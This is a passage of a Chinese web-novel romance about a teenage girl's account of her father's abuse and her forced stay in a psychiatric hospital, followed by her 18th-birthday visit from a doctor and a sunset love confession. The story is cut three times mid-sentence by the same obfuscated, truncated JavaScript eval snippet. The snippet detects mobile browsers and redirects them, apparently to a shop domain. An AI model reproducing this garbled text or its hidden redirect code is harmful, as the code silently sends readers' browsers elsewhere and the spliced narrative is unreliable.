“后来发展到,我不回家,也不上学,成天跟狐朋狗友们混迹在网吧、KTV、酒吧,看起来活得很潇洒,只有我知道,那时候的我,不过是孤魂野鬼。” “我曾是我爸口中骄傲的对象,长得好,学习好,会来事,但他发现我变了,就找人把我抓回去,在家关一两天,我就把家里变成灾难现场,他就拿我弟的棒球棍打我。我每次洗澡时,都会看到那一道道淤青,好长时间不会褪去,还会增加新的。” “我爸越是这样对我,我越反抗,还故意找男同学假扮我男朋友,拍照发到朋友圈,仅我爸妈可见。如果在街上看到他们了,还故意上演假情侣恩爱的画面去气他们。那次,我爸很生气,他身边不只有我妈,还有他的合作伙伴,他的面子挂不住,直接扇了我两巴掌,那是他第一次打我脸。” “那天,他让司机又把我锁在家里。我被锁在黑暗的储物间里,哪里都没有光,哪里都是黑的,外面还打雷了,我就像个可怜的失败者,缩在角落里,被黑暗吞噬,被梦魇缠绕。” “我听到他们在外面一直在说着什么,好像有三个人,我爸妈,还有一个陌生男人的声音。我听到我爸妈说‘好’‘就这样’的词。我第一次感到害怕,害怕未知的未来,害怕他们会对我有比之前更严重的惩罚。” “我不怕被打,打不过会受皮外伤,我怕冷暴力,我怕被抛弃。我爸之前跟我说过,你要再这样,就别进这个家门了。第二天,他们开车送我去一个地方,我问他们要去哪里,他们说要带我散散心。我妈就坐在我身边,她之前都坐副驾,那次我以为她大发善心,可怜她这个过得人不人鬼不鬼的女儿,后来我发现我想错了。” “我妈坐在我身边,不过是为了让我放松警惕,让我可以一路睡过去,我也确实这样做了。等我醒来时,已经在一个完全陌生的地方,被安排进一个房间里,身上已经被人换了衣服,我怀疑当时被人迷晕了。周围的人都是陌生的,看起来有些不正常,我知道我可能被关进了精神病院。” “我爸之前说过,我再无法无天地作践自己,就带我去看心理医生,结果呢?他没有让我去看心理医生,直接骗我去了精神病院。” “当时,我第一反应是蒙的,人是蒙的,脑袋也昏昏沉沉。我不敢相信那是真的,宁可相信那只是一场梦。” “你知道有多可笑吗,那天是双十二,别人都在抢东西,我呢,跟一帮神经病抢菜。我从没想过我会跟精神病人一起,也从没想过我会那么狼狈不堪。” “没办法,我太饿了,被关了一天一夜,没给我一点吃的、喝的,哪怕放我出来了,也没有给我一口水。我觉得自己狼狈得像个乞丐,从窗口里递出来的那一勺勺少得可怜的饭菜,都是对我的施舍。” “我在那里过得怎么样呢?比我之前过得任何时刻都要煎熬,那是一种看不到希望的煎熬,我不知道什么时候能出去,也不知道那些医生什么时候会对我做点什么。那些医生为了能让我们吃药,会看着我们吃,等我们吃完,才会放我们走。每当这时,我都会玩一个其他人不会玩的小把戏,我会把药偷偷地藏在舌头下面,再找个没人注意的时候,偷偷跑到卫生间,把药扔到厕所里冲掉。” “跟那帮人在一起,就算我不是精神病,也迟早会被逼成精神病。我想离开,离开那个鬼地方。我遇到了一个女孩,她叫艾嘉,比我大三岁,她比我想逃出去的想法更强烈。我们试过逃出去,却没有一次成功,我们被发现了,被关进了小黑屋。” “小黑屋很黑,只有一扇很小很小的窗户,不知道是不是我运气背,还是老天故意跟我作对,每次被关小黑屋时,都会下暴雨,雷电交加的那种。在那个很黑的小小空间里,在雷声一下下似要击穿我耳膜的时刻,在闪电似要劈穿我身体的瞬间,我都会想起上小学时,下暴雨时,被人欺凌时,那个小小的无助的自己,会想起暴雨天千允的下坠,也会想起老爸打骂我、将我锁紧储物间的画面……” “我在小黑屋待的每一秒,对我来说,都是煎熬。我盼着雨能停、雷电能消失,天能快点亮,盼着老爸老妈可以把我接回家。但我所有的期盼,都在煎熬中被拉长。” 说到这儿,驰路的声音几乎有些哽噎,眼眶泛起一阵红。 谢劲舟透过她的讲述,清晰地看到一个曾经可怜的小姑娘,在黑暗里独自承受狂风暴雨。 她一定很痛苦、很彷徨、很无助吧! “你在那儿待了多久?”谢劲舟问,一出口声音都有点哑,看着驰路的眼神透出掩不住的疼惜。 “三个月。” “舟哥,命运的洪水一次次将我淹没,我的星空也一次次被焚毁,我一次次地走进了淤泥深处,那种滋味,你知道吗?”驰路把手放在胸口,“很疼,是天地都没塌陷,但你却觉得已经塌陷的疼,所有的压力就像巨石一样压在心上。” “我懂。”谢劲舟心疼地将驰路抱进怀里,一下下温柔地摸着她的脑袋,用近乎耳语却又坚定的语气说,“阿驰,我会为你挡掉命运的洪水、缝补你焚毁的星空、把你从淤泥深处拽出来。如果你的天地塌陷了,我就做你的女娲,为你补天。我无法为你摘下星辰,但会誓死捍卫你的身体和灵魂。” 驰路窝在他的胸口,听到了从他胸膛里怦怦跳着的心跳声,找到了落地的踏实和安心。 我的世界,星星和月亮都熄灭了,不会再亮了。 直到你路过,我才知道,原来,星星会绽放,月亮会开花。 * 谢劲舟陪着驰路的这晚,他感到她时不时身体颤抖、嘴里喃喃说着什么、手挥舞着打到他的脸…… 他知道,她应该被噩梦缠绕。 他看到了她额头上冒出的冷汗,听到了她小猫般的呜呜声,可怜极了。 谢劲舟帮她擦掉冷汗,把她抱在怀里,像哄谢林乔似的,轻轻拍着她的背,等她睡着了,他才敢闭上眼。 夜很深了,他很困了,但他希望自己先哄好他的蝴蝶。 谢劲舟不知道自己什么时候睡着的,但他这晚睡得一点都不安稳,老觉得有什么重物压在自己胳膊上、身上。 一睁眼,看到驰路的脑袋枕在他的胳膊上,手脚都缠在他身上。 他的手已经发麻、身体已经发僵,他这副身躯,俨然已经成了她的私有物,完全被她占有。 谢劲舟看了看驰路,她的额头上不再有冷汗,巴掌似的精致脸庞干干净净,看起来睡得很安稳。 床头的香氛蜡烛还在烧着,发出噼里啪啦的声音。 他稍稍侧一下身,烛火映在她的脸上。 她是他见过的女生中长得最特别,也是最好看的,哪怕睡着了,也还透着一股傲气。 有时候他很自私地想,他希望她是一个风筝,线就拽在他手上,她的去向,他可以决定。 但他知道,如果真的在意一个人,应该放开手上的线,让风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560793|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筝自由地在天空飞翔。 就像她脚踝上用希腊语文下的“自由”。 谢劲舟抚摸着她娇小妩媚的脸庞,指腹正要移到她右眼尾的那颗胭脂痣时,忽然听到楼下的敲门声,一下接一下,声音还越来越大。 是谁? 难道是谢鸿运?他不是有钥匙吗?忘记带了? 如果是他的话,他才不想去开门。就算他不开,谢奶奶也会开。 果然,他听到了院墙门打开的声音,又听到谢奶奶跟人讲话的声音,不过,这人的声音很陌生,他从未听过。 谁来了? * 谢劲舟披了件外套,走到阳台上,往下看,看到了跟奶奶聊天的男人,个子挺高,穿着黑色长款束腰羊绒大衣、黑色裤子、黑色细带皮鞋,一看便是精英打扮。 他是谁? 疑惑间,男人抬头,正好看向他。 他的眼睛里洒着柔和的霞光,整个人显得温和又有气场。 他跟这里格格不入,像从电视剧里走出来的气质男主角。 谢奶奶循着男人的视线往上看,看到站在阳台上的谢劲舟,给他介绍:“小谢,这是来找阿驰的,说是她朋友,梁医生。梁医生,这是我孙子,谢劲舟,你叫他小谢就行。” 谢劲舟的眸子忽地一黯,掠上寒意,似覆上了一层寒冰。 “舟哥,谁啊!”驰路醒了,发现身边空了,坐起来看到谢劲舟站在阳台上,揉着眼问他。 谢劲舟似乎能看到梁清安被朝霞笼罩的脸上,闪过一丝不易察觉的不悦。 …… 驰路怎么也没想到梁清安会来芳町镇,就算看到他坐在自己面前,在心定神闲地吃着谢奶奶做的烙饼、面条,她也觉得不真实,忍不住捏了捏他的脸:“真的是你?” “是我,阿驰。”梁清安微笑着把手放到她手背上,“我就在这里。” 他看着她的眼睛,似静水流深,带着岁月的温柔。 谢劲舟端面过来时,看到的便是这一幕,心头立刻蹿上一股火焰,熊熊燃烧起来。 他把面碗咚的一下放到桌上,这才让他们停止了在他看来觉得亲昵的举动。 “舟哥,这就是我之前跟你说过的梁医生。”驰路介绍,“我的救命恩人。” 谢劲舟听着这话,怎么听心里怎么不是滋味。 他不知道救她几次了,也没见她主动这样对过自己。 他们是久未谋面的好友,彼此侃侃而谈,大多数时候是梁清安在问驰路,问她“最近过得怎么样”“看起来不太舒服,是不是生病了。”“在这里,有没有人欺负她。” 驰路是报喜不报忧的性格,尤其是对自己亲近的人,她只有在心理出问题时,才会找梁清安倾诉,但近期发生了一系列的事,她下意识地寻找救命船舶。 她手头能够得着的船舶,是谢劲舟。 他也真的,把她从深渊带入了光明地带。 此刻,驰路装作没事人一样,笑着跟梁清安说:“梁医生,我过得挺好的,就是上周感冒发烧了,不过现在好多了,只是有点嗓子不舒服。有我舟哥在,哪里敢有人欺负我!” 她看向谢劲舟,发现他正闷头吃面,头一次见他吃面吃得跟面有仇似的,吸溜一长串,狠狠咬断,再用力咀嚼,那架势像把面当成了仇人,而他是正在仇人身上发泄怒气的野兽。 “你过得好,我就放心了。”这边的梁清安吃面却吃得极为端庄,细嚼慢咽,丝毫没发出一点声音,跟谢劲舟形成巨大反差。 “你怎么会来这里?”驰路剥了一个鸡蛋递给梁清安,“吃个鸡蛋吧。” 结果,她刚剥完,赫然发现谢劲舟终于从“仇人”面条上拔了出来,用锐利的眼神看她,还朝她伸手,像一个要糖的孩子。 起初,驰路没反应过来他这是要干吗,问他:“怎么了?” “我也要。”谢劲舟这话一出来,驰路算是彻底明白了,他这是嫉妒上梁清安了吧。 得,都是好友,她得做一个称职的端水大师。 驰路给谢劲舟递过去鸡蛋,他却久久不伸手,她刚要放到他面前的盘子里,却听到他说:“喂我。” “……”这是嫉妒上瘾,还要占上风是吧? 77. 日落那天的心意 「Z,你说“能不能在一起,你说了不算!” 你说了就算吗? 分手是一个人的事,但喜欢,却是两个人的事。 你懂不懂啊? 傻子!」 ——《小蝴蝶的日落》 梁清安看着驰路像对待孩子似的,一口一口喂谢劲舟鸡蛋,便知道他们的关系匪浅,他们看向彼此的眼神,跟看朋友不太一样,多了一层隐秘的不可告人的连接,这连接就像做糖人时拉出的丝,又长又黏腻。 他跟驰路说,正好来这里的县城出差,就顺便过来看看她。 驰路信了。 但梁清安说得却不是事实,他不是顺便过来看看,他是专程过来看她。 只因,他放心不下她。 梁清安知道驰路对自己隐瞒诸多,上周她遭遇了网络霸凌,之前对她造成伤害的事,再次被人揭开,还以一种歪曲事实、颠倒黑白的情况在网络上发酵,她一定又要陷入心理泥潭之中吧。 他等她过来找自己,但等了三天,都没等到她的倾诉,他有些失落。 曾经的他,是她可以随时倾诉的情绪回收站。 他跟驰路说过:“不管什么时候,不管你遇到了什么,你都可以告诉我。我可能并不能为你驱散黑夜,但当你遭遇黑暗时,我可以做那个为你点灯的人。” 他从没对驰路说过什么宏伟的承诺,一字一句都在用真心结出温暖的种子,希冀为她种下一片春天。 可是,好像有人,为她种出了一片夏天。 * 谢劲舟跟老马请了一天假,给自己请,也给驰路请,说找到驰路了,她淋雨感冒了,需要人照顾。 老马一晚上倒是睡得挺安稳,刚开始都没太明白为什么他要说找到驰路了,想了想才想起来昨晚谢劲舟给他打过一通电话。 他没多想为什么驰路会找不到,现在找到了就好,让他好好照顾驰路。 挂完电话,自言自语道:“谢劲舟这小子,变了啊,越来越上道了。” 不只是成绩提升了,还学会照顾人了,稀奇! 请假的这天,哪里有谢劲舟照顾驰路的份儿,她白天带着梁清安走遍芳町镇的每条街道,告诉他哪条街最热闹、哪个市场卖的东西最便宜、哪里适合跳广场舞、哪里聚集了最多的社会青年…… 她跟他讲着有关于芳町镇的一切,她融入其中,好像成了芳町镇的一员,对这里的一切都是这么了解和熟悉。 梁清安一路格外有耐心地听着,没有一次打断她。 听到最后,心里想着:阿驰,你迟早要离开这里,不要用情太深,不只是对芳町镇,还有谢劲舟。 但这话他没说,他尊重每个人的选择,包括驰路的选择。 只要每个当下的她是快乐的、幸福的,这不就够了吗。 驰路带他吃了这里的当地小吃、带他压过一条条马路、领着他逛那个虽简陋却静谧的小小花园。 对于她身上发生的网络霸凌事件,她丝毫未提。 他曾试探地问她:“阿驰,如果你不开心了,记得跟我说。” 驰路依然没告诉他,她看起来精神状态不错,看起来好像网络上发生的事情跟她无关。 是他多虑了。 她的身边,出现了一个在黑夜中帮她点灯的人,他显得有点多余了。 一路上他都有些心不在焉,所有的回应和笑容,都是应付。 他知道,他不太快乐。 他本应该为驰路感到开心,不是吗?可是,他为什么一点也高兴不起来? 梁清安挑今天过来,还有一个重要的原因,今天是驰路的生日,他想给驰路一个意外的惊喜。 中午,他带驰路去了一家镇上最好的西餐厅,给她准备了一个桃桃乌龙慕斯蛋糕,通体粉色,层次分明,最上面一层是果冻质地,看上去晶莹剔透,果冻上面切了几块桃子,又用绿色叶子做点缀,看起来非常粉嫩。 在旁人看来,这个看起来气场十足、脸上还带着傲气的精致女生,应该不会喜欢这种类型的蛋糕。 但梁清安知道,每个女生,不管她外表看起来有多坚不可摧,都有一颗柔软的少女心,驰路也不例外。 在之前给她治疗的过程中,梁清安发现,她也曾想当一回公主,生日时,父母为她在家里的墙壁上挂上彩带、贴上气球,在充满氛围感的客厅里,他们为她端来她最喜欢吃的蜜桃蛋糕,为她唱一首生日快乐歌。 可能在别人看来,很简单的一个愿望,对驰路来说,却是奢望。 父母都忙着自己的工作,鲜少能想起她的生日,就算想起了,也只是很草率地给她买一块八块钱的即将过期的小蛋糕。 妈妈跟她说:“快吃吧,再不吃就要过期了。” 爸爸跟她说:“阿驰,以后等爸爸有钱了,给你买很大很大的不临期的蛋糕。” 后来,老爸做到了,但驰路再找不到儿时期待生日时吃上一口蛋糕的快乐了。 因为,儿时,老爸老妈还陪着她过生日,长大后,她有比之前更大更好看的蛋糕了,却只是她一个人度过。 她不知道这世界怎么了,为什么自己生日时许的愿望总成不了真,后来她干脆不许愿了,也不在生日那天期待老爸老妈的陪伴了。 她会在生日里,叫上狐朋狗友吃喝玩乐,好像只有玩尽兴了就可以抹掉旧日陈伤。 热闹是属于一群人的,等人群散尽,留她一人时,她才知道自己有多可怜、多孤独。 没有谁可以走进她的心里。 她也不想给谁剖开那颗千疮百孔的心。 除了梁清安。 现在又多了一个人。 驰路插上了两根蜡烛,听到对面的梁清安说:“阿驰,18岁生日快乐!旦逢良辰,顺颂时宜。”【注】 自从认识梁清安后,每年她送给自己的生日祝福都不一样,去年的是“阿驰,17岁生日快乐!且喜且乐,且以永日。”前年的是“阿驰,16岁生日快乐!岁岁年年,万喜万般宜。”【注】 每一年的祝福,都祝她顺遂。 他从不叫她许愿,每次都会静静地看着她插完蜡烛,笑着跟他说:“谢谢梁医生。” 这次她多说了一句:“梁医生,谢谢你今天过来找我,我们认识后,你一次都没错过我的生日。” 以后,她的生日,他依然不想错过。 * 下午快四点时,驰路接到了谢劲舟打来的电话,问她忙完没有,他要带她去一个地方。 驰路看向梁清安,似乎在征求他的意见。 梁清安小声说:“你去忙吧,我也累了,正好回去休息。” “你来吧。”驰路给谢劲舟报了个地名,刚报完,没过一分钟,谢劲舟便来了,开了辆越野车。 他摇下车窗,眸色沉沉,跟驰路说:“上来。” 梁清安礼貌地抬手跟他打招呼,谢劲舟也只冷淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560794|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看他,等驰路上车后,一踩油门,越野车疾驰而去。 梁清安站在原地,目光一直望着越野车离开的方向,直至汇入车流,渐行渐远他才移开视线。 他没有去酒店休息,而是沿着驰路带他走过的地方,再走了一遍。 他想记住点什么。 * 驰路不知道谢劲舟又发什么疯,车速开得极快,在来往的车流中超过一辆又一辆车。 他的脸色有些冷,像结了冰。 “谢劲舟,谁惹你了?”驰路看着他。 谢劲舟没回她,嘴角抿成一条紧绷的直线。 “谢劲舟,你摆着这张臭脸给谁看!”驰路原本心情还挺好,但看到这样的谢劲舟,好心情都一扫而光,感到四周被低气压笼罩着。 谢劲舟沉默良久,用舌尖顶了下腮,终于咬牙说:“你喜欢他?” 驰路算是明白他这股子闷气从何而来了,不禁笑道:“谢劲舟,你吃醋了?” “老子还没吃过谁的醋!”谢劲舟的手握紧方向盘,指关节清晰可见。 半晌,驰路低喃了句:“谢劲舟,我们,注定不能在一起吧。” 车速骤然降低,驰路猛然往前倾。 谢劲舟侧头看她,用笃定的语气跟她说:“能不能在一起,你说了不算!” * 一路的风景,从熟悉到陌生,从热闹到荒凉,驰路不知道谢劲舟这是要把她带去哪里。 车里的气压一直都很低,驰路却不跟他计较了,忽然觉得这人有时幼稚得有点可爱。 他又不是没谈过恋爱,至于因为吃醋就摆着一张臭脸? 她没打算哄他,靠着窗户,不知不觉睡着了。 后来,驰路被一阵颠簸弄醒了,睁开惺忪睡眼,入目景色让她叹为观止。 谢劲舟带她来到了一片沙漠,将车停在了一处坡的最高处,给她拉开车门,慵懒地靠在门上,看着远方的日落。 天空流转着一片片绚丽的晚霞,橙红色的落日照在连绵不绝的沙丘上,将整个沙漠染成了金黄色。 天地间黄灿灿的,如一幅浓墨重彩的油画。 驰路跟谢劲舟并排站着,她望着远处的日落,眼眸里被染上了金色,闪着星子般的光芒。 “为什么要带我来这里?”驰路侧头看谢劲舟,看到了他痞帅的侧脸被镶了一层金边,雾霾蓝的头发边沿也散发着光,仿佛被聚光灯照着的大明星。 “你之前说的话,还算数吗?”谢劲舟对上她的眼眸,深邃的眸子里全是细碎的日光。 “我说的什么?” “你说,你找男朋友的的标准是,一要帅,二要拽,三要在要在深冬来临前,带你去沙漠看一场日落。”谢劲舟一字不落地将她的择偶标准说了出来。 驰路听了不由得笑起来。 谢劲舟眉头却一皱,看着笑得花枝乱颤的驰路。 “舟哥,你不会当真了吧。”驰路止住笑意,抹掉眼尾笑出的眼泪。 她说过的话,他从来都当了真。 谢劲舟从口袋里掏出一盒烟,抖出一根,点燃,深深吸了几口。 就着袅袅升起的烟雾,谢劲舟声音沉沉道:“跟我吧,阿驰。” “什么?”驰路看着神色认真的谢劲舟,不再笑了。 “阿驰,如果你一定要属于一个人,那个人只能是我!” “你的意思是?” “阿驰,跟我谈恋爱。” 78. 不会让蝴蝶受委屈 「心动一次次爬上山坡。 是时候跟喜欢的人来一场告白。 不轰轰烈烈,却会在五十年后回忆起时, 还记得那天的夕阳、那天的晚霞,还有那天的你。 小蝴蝶,我喜欢你!」 ——《引路星》 当阻隔在两人之间的那层薄纱被谢劲舟这么直白地戳破时,驰路再做不到置若罔闻。 “我们早晚要分开的。”驰路知道,她不会一直被困在芳町镇。 “能走多久就走多久。”谢劲舟悠然自得地抽着烟,仿佛毫不在意,但眼中的神色却透着前所未有的认真。 “就像,你之前谈过的每段恋爱一样?顺其自然,想谈了就谈,不想谈了就分?”驰路从他手里夺过烟,吸了一口,朝他脸上吐出一个漂亮的烟圈。 雾气在两人之间萦绕,一股说不出的暧昧气息,在落日余晖中暗自翻涌。 “你跟别人,不一样。”谢劲舟在雾气中,望着驰路那双妩媚的狐狸眼,“以前老子谈个恋爱,简单随意,不需要喜欢,只要不讨厌就行。我不知道什么是喜欢,什么是爱情,觉得不就是谈个恋爱吗,没什么大不了。现在想想,之前的想法是多么幼稚荒唐。喜欢是没法将就的。” 驰路朝他眯了眯眼:“所以,我可以理解为,我不做你的月抛型女友?” “以前,是我不懂事、不懂爱。”谢劲舟的眼眸里似流转着一抹翻涌的浪花,沉磁的声音透出些许温柔,“但遇见你之后,我不会让你做我的月抛型女朋友,你是永久型的。而我,只对你永久。” “阿驰,我说的,能走多久就走多久,是指,只要你不放手,我绝对不放手!”谢劲舟抬手拂掉眼前的雾气,看着她迷人的双眼,“你跟着我,我继续做你的神明,以后不会让你受委屈!” 驰路没再抽烟,手中的烟灰蓄了长长的一截,她听着谢劲舟诚挚的告白,心中顿起波澜。 “舟哥,你跟我说这么多,好像落了什么吧。”那句她想听的“我喜欢你”,他却是只字未提。 谢劲舟猛然想起什么,给她拿过来一个纸袋。 驰路接过,里面是一个很漂亮的原木首饰盒,上面画着紫色的洋桔梗、蓝色的蝴蝶,一看便知是手工定制的。 她打开首饰盒,里面整整齐齐地摆放着耳挂、黑色颈链、腰链、手链,全是带有蝴蝶元素的,跟她之前的款式有所区别,每一只蝴蝶都栩栩如生,美得动人。 驰路拿出其中一条腰链:“没想到你眼光还不错。” 谢劲舟揽住她的腰:“我能想象出,你戴上它的时候,一定很美。” 她的腰很细,他单手便能环住。 “舟哥,你跟我在一起,就是觊觎我美色?” “谁不爱美的。” 我爱你的容颜,更爱你善良的灵魂。 “你等我一下。”谢劲舟松开驰路,绕到车后,在后备箱里拿着什么。 他朝她走过来时,手背在身后,驰路不知道他拿了什么,搞得有些神神秘秘。 “拿什么了,搞这么神秘?”驰路把首饰盒放到汽车前盖上。 “猜一猜。” 驰路很快猜到是什么,笑着说:“不会是生日蛋糕吧。” 谢劲舟公布答案,背在身后的手放到身前,将准备好的礼物递到驰路面前。 驰路看得一惊。 透过透明的包装盒,驰路看到里面被撞散了的蛋糕,白色圆形的,上面是一只蓝色蝴蝶,蝴蝶造型栩栩如生。 是在蛋糕店里从来没有看到过的款式,分外好看。 “这……”驰路惊讶地看谢劲舟,“不会是你自己做的吧?” “给特别的人,当然要特别定制。” 蛋糕是他亲自设计的,专门提前一个月去蛋糕店学怎么做,还好他有绘画基础,在最后画蝴蝶的上面没有费太多时间。 端着蛋糕的谢劲舟,看着驰路,格外郑重地说:“阿驰,生日快乐,你以后的每次生日,我都不会缺席!” “阿驰,你在我面前,可以卸下所有防备。你累了,我就做你可以停靠的小船;你受委屈了,我就做你的救世主;如果你的世界黑了,我就点燃所有的香氛蜡烛,让你听烛火燃烧的声音……只要你想,我愿意为你做一切!” 驰路望着她最爱的蝴蝶,听着谢劲舟发自内心的告白,没有“我喜欢你”,却字字透出“我喜欢你”。 她的心像被挤入酸柠檬,泛起一阵酸涩,眼眶也不由得红了。 她轻轻扯掉蛋糕盒上的红绸带,打开盒子,用指腹挖了一指蛋糕,吃了一口,甜蜜顿时溢开。 驰路吸了吸鼻子,抬头看谢劲舟,眼眸里泛着水光,她努力笑着说:“谢劲舟,谢谢你。如果我一定要跟谁谈个恋爱的话,我想,只能是你。” 谢劲舟把蛋糕放到汽车前盖,一把将驰路抱进怀里,紧紧地拥着她。 这跟以往的拥抱相似,却又有本质的不同。 他们像两根紧紧缠绕的藤蔓,互相纠缠,像要嵌进彼此的灵魂。 也不知抱了多久,谢劲舟松开驰路,低头望着怀里的她,她也正看着自己,眸子那般清明,里面缀着金子般的落日。 她的唇角还有奶油,衬得她的唇越发红润。 谢劲舟俯身吻下去,吻掉她唇角的奶油,吻上她红润的唇。 他吻得毫无章法、吻得迅猛而热烈。 “谢劲舟,我来教你怎么接吻。”驰路捧上谢劲舟的脸颊,与他唇齿交缠,吻得细密又温柔。 显然,谢劲舟并不满足于此,似乎要发泄他满腔的爱意,他单手托着她的后脑勺,吻得一下比一下深,一下比一下狠。 驰路的一只手环住他的腰,把他的衣服捏得越来越皱。 身前是万里无垠的连绵沙漠,身后是落霞漫天。 他们在美得不可方物的落日余晖里,将喜欢演绎得爆裂,又震耳欲聋。 橙红色的晚霞,似潮水般将他们融入其中,他们像尘世间最密不可分的一对灵魂。 * 两人靠在越野车上,你一勺我一勺地吃着蛋糕,望着远处的落日,渐渐西沉,最终落入地平线。 “什么时候走?”驰路看着已经被瓜分干净的蛋糕。 从他们的聊天中,她才知道,这个看起来被撞散的蛋糕,是谢劲舟亲手为她做的,为此他准备了一周,天天去蛋糕店里学。 驰路笑他,竟然有这么有耐心。 谢劲舟拿过她的手指,舔了下她指腹上的奶油:“阿驰,我会尽我所能,给你最好的。” 驰路刚想回,谢劲舟的电话却响了。 驰路听出来是罗子昂打来的,跟他说,事情解决了,帖子都删了。 驰路边听边刷着手机,微信里有驰岸、许婉、安然、岑语欢、江迟发来的生日祝福,她一一道谢。 大概是许婉传出去今天是她真实生日的,她这个好友真是惦记她。 许婉问她在哪里,想给她办个生日派对。 驰路给她发过去一张落日的照片,告诉她:我在看落日。 许婉看到了落日里的那两道身影,一个是驰路的,还有一个,看发型、身材,一眼便知是谢劲舟。 他们怎么在一起?还在这个特殊的日子里? 许婉立马拨过去一条视频电话,接通时看到夜晚的沙漠,深蓝的天幕上已经缀满了星星,像一场惊艳的银河礼遇。 “阿驰,你现在跟舟哥,两人……孤男寡女地在沙漠?”许婉惊道。 “有什么问题吗?”驰路把镜头调向自己,再慢慢右移。 许婉看到了靠在越野车上酷帅的谢劲舟,他很自然地将一只手搭到驰路肩头,朝她挥手。 正在许婉大惊失色时,听到谢劲舟说:“介绍一下,老子的女朋友,驰路。” “你们……不会吧……”许婉没想到他们这么快就能在一起,惊讶过后,笑着祝福他们,“祝你们百年好合,贵子嘛,留着以后吧。” “谢谢婉婉。”驰路抬起左手,握住谢劲舟的。 “阿驰,告诉你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560795|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个好消息,贴吧里污蔑你的帖子没啦。”许婉说,“我不打扰你们了,好好享受你俩的二人世界,拜拜!” “我听到你接了罗子昂的电话了。”等挂了许婉的电话,驰路跟谢劲舟说,“是你找人做的吧?” “嗯。”谢劲舟扣住她的手指,俯身凑近她耳边说,“我的蝴蝶,我怎么舍得让她受委屈。” “谁是你的蝴蝶!”驰路的耳朵被他的气息烘得热热的,耳根泛红。 “当然是你了!”谢劲舟一把将她抱到车前盖上,单手扣住她的脖颈,朝她深深地吻了下去。 扣住脖颈的手渐渐往下,触碰到了她凸起的蝴蝶骨,触碰到了她后背上破碎的蝴蝶。 她所有的气息,都被他一一掠夺。 他是她的渴望,也是她的梦想。 她够到他了,扣着他的手指,仿佛连接着他的心脏。 她听到他用好听又沉磁的嗓音说:“我的蝴蝶,你可以自由,也可以完整。我是你的救世主,也是你的神明!” 彼此的气息融在一起,像冬天升腾的雾气,不眠不休。 * 那晚,谢劲舟没带驰路回去,而是把越野车开到了一处沙漠平地,搭起了帐篷。 在冬日的沙漠夜晚,两人坐在帐篷边,一起看星星。 这儿的星星,是驰路活了十八年,看过的最好看的一次。 她依偎在谢劲舟怀里,看着星星在深蓝色的夜幕中闪烁,听着他强而有力的心跳声。 时光要是能停在此刻多好。 所有的破碎,都成往事。 就算在这个重要的日子里,老爸老妈没有发来一句祝福,好像也没什么。 她从不期许什么,从前是,现在也是。 没有期许,就不会有失落。 谢劲舟让她对着蛋糕许愿,时隔多年,她终于双手合十,闭上眼睛许愿,许一场“希望谢劲舟、谢奶奶、谢林乔一切都好”的愿望。 驰路不知道自己什么时候睡着的,醒来时,身边躺着谢劲舟,把她牢牢地圈在怀里。 她的脑袋枕在他的胳膊上。 太阳出来了,透过帐篷洒进来,洒在谢劲舟雾霾蓝的头发上和痞帅的侧脸上。 驰路仿佛觉得自己在做一场梦,一场不愿醒来的梦。 她坐起来,抬手轻轻沿着谢劲舟的脸部轮廓描画,再到他菲薄的唇间。 “舟哥,谢谢你当年救了我。” 刚触碰到,便见他张嘴,一口咬住她的手指,在她的指间烙下一个浅浅的牙印。 “喂,你属狗的啊。” “一晚上你就失忆了?”谢劲舟懒散地睁开眼,语气吊儿郎当,“老子不叫喂,老子是你男朋友!” 他一把将她摁到怀里,揉着她的脑袋,仿佛在撸猫。 “好,男朋友。”驰路戳了戳他的脸颊。 谢劲舟惊道:“你怎么知道当年救你的人,是我?” “前天上午,小乔让我帮她一起找陀螺,”驰路从包里拿出一个蝴蝶刺绣的挂饰,“我在你的抽屉里,看到了这个。” 谢劲舟想要抢过去,驰路却立马收回手,让他扑了个空。 “你是不是想多了,一个物件,怎么证明?” “因为,这个蝴蝶刺绣是独一无二的。”驰路低头看着手中的蝴蝶挂饰,“这是我妈在我十岁期末考试考了全校第一名送给我的礼物,是她亲手绣的,哪里都买不到。而且,我记得很清楚,丢的那天,就是你救我的那天。” 当年,驰路发现蝴蝶挂饰丢了,原本已经快到家了,又打车返回了事发现场,结果怎么也没有找到,为此伤心了好长一段时间。 驰路望着他:“为什么不告诉我,当年救我的人是你?” 谢劲舟的眼眸里浮出一丝空茫,声音沉沉:“蝴蝶终究要离开芳町镇,说了又怎样。” “切!”驰路笑道,“你不还是抓住蝴蝶了!” “以后的每一天,我都要好好抓住我的蝴蝶!”谢劲舟俯身堵住了她的唇。 79. 找到了罪魁祸首 「Z,新年快乐! 